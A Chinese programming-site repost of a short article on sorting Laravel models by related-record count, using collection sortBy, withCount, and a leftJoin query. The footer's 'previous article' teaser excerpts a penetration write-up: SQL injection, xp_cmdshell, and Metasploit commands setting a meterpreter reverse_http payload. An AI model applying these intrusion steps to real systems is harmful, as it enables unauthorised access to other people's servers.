3分钟短文 | Laravel 根据关联模型条目数量排序,怎么做?
引言
在laravel中我们使用模型操作数据库表,同时使用 hasOne belongTo hasMany 等关联关系模型 建立不同模型之间的关联。对于简单的查询操作这完全应付的来。
可是现实的业务需求往往充满变数,今天我们就说一个需求, 根据关联模型的数量进行排序,应该如何写代码。
学习时间
我们用实例进行解释,首先是表结构,为了简化操作,只罗列出主要的字段。首先是 hackathons 表的两个字段:
-
id
-
name
-
begins
-
ends
-
description
然后是 user 表的字段:
-
id
-
name
还有一个关联表 hackathon_user 字段:
-
hackathons_id
-
user_id
好了,基础数据已经建立,接着我们使用laravel的模型操作数据库表。首先声明 Hackathons 模型:
class Hackathon extends Model { protected $fillable = ['name', 'begins', 'ends', 'description']; protected $table = 'hackathons'; public function owner() { return $this->belongsToMany('User', 'hackathon_owner'); } public function participants() { return $this->belongsToMany('User'); } public function type() { return $this->belongsToMany('Type'); } }
其中有一个 Type 模型因为与本文所讨论问题无关,因此不予列出。接着定义关联表的模型:
class HackathonParticipant extends Model { protected $fillable = ['hackathon_id', 'user_id']; protected $table = 'hackathon_user'; public function user() { return $this->belongsTo('User', 'user_id'); } public function hackathon() { return $this->belongsTo('Hackathon', 'hackathon_id'); } }
这就是我们需要的基础类,接着说如何排序。如果不考虑性能问题,或者筛选出的数据量还不足以让我们考虑到性能问题, 那么可以先把结果数据集整个返回,然后使用 laravel collection 集合进行排序和操作。代码写起来像下面这样:
$hackathons = Hackathon::with('participants')->get()->sortBy(function($hackathon) { return $hackathon->participants->count(); });
注意在使用 get 获取所有的结果数据集之后,调用的是Collection类的 sortBy 方式,默认是升序排列。这个方法在数据量小的时候,没什么问题。
如果你的数据量很大,动辄几十万条,那么上面的 get 方法,万万是不能用的,这会大大地增加MySQL与服务器之间的数据传输压力。所以,我们需要在MySQL层面,尽量解决这个问题。
聚合查询也是关系型数据库的强项,所以我们需要的是把聚合查询用laravel实现出来。
laravel 5.3 及以上,我们可以使用 withCount 进行关联类的聚合查询了,代码只需一行:
Hackathon::withCount('participants')->orderBy('participants_count', 'desc')->paginate(10);
注意laravel自动生成的统计类的字段名不能写错。
还有一种方法,就是不使用关联模型,而该用表连接,绕过模型定义的关联关系进行查询。我们直接贴出实现代码:
$hackathons = Hackathon::leftJoin('hackathon_user','hackathon.id','=','hackathon_user.hackathon_id') ->selectRaw('hackathon.*, count(hackathon_user.hackathon_id) AS `count`') ->groupBy('hackathon.id') ->orderBy('count','DESC') ->paginate(5);
唯一需要注意的是 groupBy 的字段,与 select 所指定的聚合函数。
写在最后
本文通过三种方式实现了laravel中模型的聚合查询排序,其中两种是使用关联关系方式组合查询条件, 一种是直接表操作,使用左连接连接表数据。从写作方式和可维护上讲,我们推荐第二种;但对于业务特殊情况,比如数据库的索引,我们推荐第三种更接近原生的方式, 调优的SQL语句很有杀伤力!
Happy coding :-)
我是@程序员小助手,持续分享编程知识,欢迎关注。
本文分享自微信公众号 - 程序员小助手(mql45ea)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
从SQL注入到拿下三个域控
这次渗透是从站库分离的情况下在深入进去内网在拿下域控服务器,也都是普通的渗透思路,并没有什么技术含量!首先WEB点是一个MSSQL注入漏洞,并且这个注入是sa权限的!首先这个站点是使用JoomlaCMS搭建的,但是在一处Study信息登记处发现了SQL注入漏洞 接着抓下此处查询的数据包进行注入,并且或者了是高权限,可以开启xp_cmdshell来进行进一步的提权。在注入的返回的指纹信息可以获知对方的操作系统大概率就是windows Server 2012系统 那么接下来不用想就是直接提权到MSF上面了,这里使用hta来提权到MSF msf5 > use exploit/windows/misc/hta_server msf5 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf5 exploit(windows/misc/hta_server) > set lho...
- 下一篇
基于Ambari的大数据平台搭建
同CDH部署类似,步骤分为ambari的部署和hdp的部署,先以1台为例(内存>6G,磁盘划分/至少40G,/data/10G),后续节点可以通过扩容方式加入集群,可参考:https://blog.csdn.net/qq_32593713/article/details/81429573 一、安装环境准备 1、安装包准备 需要下载jdk-8u144-linux-x64.tar.gz,ambari-xx-centos7.tar.gz,HDP-xx-centos7-rpm.tar.gz,HDP-UTILS-xx-centos7.tar.gz到本地(rpm包非常大),链接: http://public-repo-1.hortonworks.com/ambari/centos7/2.x/updates/2.6.1.5/ambari-2.6.1.5-centos7.tar.gzhttps://download.csdn.net/download/ljk168/10351315http://public-repo-1.hortonworks.com/HDP-GPL/centos7/2.x/u...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2整合Redis,开启缓存,提高访问速度
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- CentOS7安装Docker,走上虚拟化容器引擎之路
- SpringBoot2整合Thymeleaf,官方推荐html解决方案
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Hadoop3单机部署,实现最简伪集群
- Docker使用Oracle官方镜像安装(12C,18C,19C)